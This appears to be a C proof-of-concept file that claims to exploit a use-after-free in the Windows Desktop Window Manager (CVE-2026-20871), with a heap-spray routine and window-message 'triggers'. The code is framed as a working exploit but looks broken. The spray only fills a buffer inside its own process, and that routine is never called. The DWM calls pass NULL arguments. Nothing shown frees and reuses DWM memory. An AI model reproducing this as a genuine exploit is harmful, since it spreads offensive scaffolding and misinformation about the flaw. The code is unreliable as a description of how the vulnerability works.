// CVE-2026-20871 PoC - Desktop Windows Manager Use-After-Free
// This is a conceptual PoC for educational purposes only
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
// Function to trigger Desktop Window Manager interaction
void TriggerDWMInteraction() {
// Enumerate windows to interact with DWM
HWND hwnd = GetForegroundWindow();
if (hwnd) {
// Send messages that interact with DWM
PostMessage(hwnd, WM_PAINT, 0, 0);
PostMessage(hwnd, WM_ERASEBKGND, 0, 0);
// Trigger DWM composition
DwmExtendFrameIntoClientArea(hwnd, NULL);
DwmGetColorizationColor(NULL, NULL);
}
}
// Heap spray technique to allocate controlled memory
void HeapSpray(size_t targetSize, PVOID payload, size_t payloadSize) {
PVOID* sprayBuffer = (PVOID*)VirtualAlloc(NULL, targetSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (sprayBuffer) {
// Fill with controlled values to prepare memory layout
for (size_t i = 0; i < targetSize / sizeof(PVOID); i++) {
sprayBuffer[i] = payload;
}
// Trigger the use-after-free condition
TriggerDWMInteraction();
VirtualFree(sprayBuffer, 0, MEM_RELEASE);
}
}
int main() {
printf("CVE-2026-20871 PoC - DWM Use-After-Free\n");
printf("Target: Windows Desktop Windows Manager\n");
// Create window to interact with DWM
WNDCLASS wc = {0};
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = "DWMUAFTest";
if (RegisterClass(&wc)) {
HWND hwnd = CreateWindow(wc.lpszClassName, "Test",
WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wc.hInstance, NULL);
if (hwnd) {
ShowWindow(hwnd, SW_SHOW);
UpdateWindow(hwnd);
// Trigger the vulnerability
TriggerDWMInteraction();
// Wait for processing
Sleep(1000);
DestroyWindow(hwnd);
}
}
printf("PoC execution completed\n");
return 0;
}